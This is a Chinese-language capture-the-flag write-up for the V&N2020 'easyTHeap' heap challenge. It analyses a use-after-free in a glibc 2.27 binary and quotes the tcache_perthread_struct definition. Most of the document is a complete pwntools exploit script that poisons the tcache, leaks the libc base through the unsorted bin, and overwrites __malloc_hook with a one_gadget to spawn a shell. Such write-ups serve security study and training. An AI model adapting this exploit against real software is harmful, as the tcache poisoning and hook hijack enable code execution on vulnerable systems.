[V&N2020 公开赛]easyTHeap tache
[V&N2020 公开赛]easyTHeap
现在会泄露libc了,但利用还是不太会,对结构体还不是熟悉,这也是第一次写tache,过两天再写一次
保护检查
程序分析
add函数,创建一个chunk,可以执行7次
edit函数,有null字节溢出
show函数,打印
delete函数,可以执行3次,并且有ufa漏洞
tcache_perthread_struct
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
漏洞分析
- 利用ufa,修改tcache的next指针为tcache_perthread_struct结构体(这个结构体是程序为了存储tcache信息,一开始就创建出来的结构体,size为0x251)
- 利用double free将chunk分配到tcache_perthread_struct后,修改成员函数的counts大于7,这样当释放tcache_perthread_struct时候将其放入unsorted bin中,获得main_arena地址
- 泄露完libc的地址后,再修改entries的地址,让相应的entries成员指向malloc_hook处,这样就可以挂钩子,从而get shell
exp
from pwn import * context.log_level='debug' #p=remote('node3.buuoj.cn',29400) p=process('./vn_pwn_easyTHeap') libc=ELF('./libc-2.27.so') elf=ELF('./vn_pwn_easyTHeap') def add(size): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size?') p.sendline(str(size)) def edit(idx,content): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('idx') p.sendline(str(idx)) p.recvuntil('content:') p.sendline(content) def show(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('idx?') p.sendline(str(idx)) def delete(idx): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('idx?') p.sendline(str(idx)) execve = 0x4f322 add(0x50)#0 delete(0) delete(0) show(0) tache_chunk=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x250 add(0x50)#1 edit(1,p64(tache_chunk)) add(0x50)#2 add(0x50)#3 edit(3,'a'*0x28) delete(3) show(3) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 exc_addr=libc_base+execve realloc_addr=libc_base+libc.symbols['__libc_realloc'] malloc_hook_addr=libc_base+libc.symbols['__malloc_hook'] #gdb.attach(p) add(0x50)#4 edit(4,'p'*0x48+p64(malloc_hook_addr-0x13)) #gdb.attach(p) add(0x20) edit(5, '\x00' * (0x13 - 0x8) + p64(exc_addr) + p64(realloc_addr + 8)) gdb.attach(p) add(0x10) #gdb.attach(p) p.sendline('1') #gdb.attach(p) p.interactive()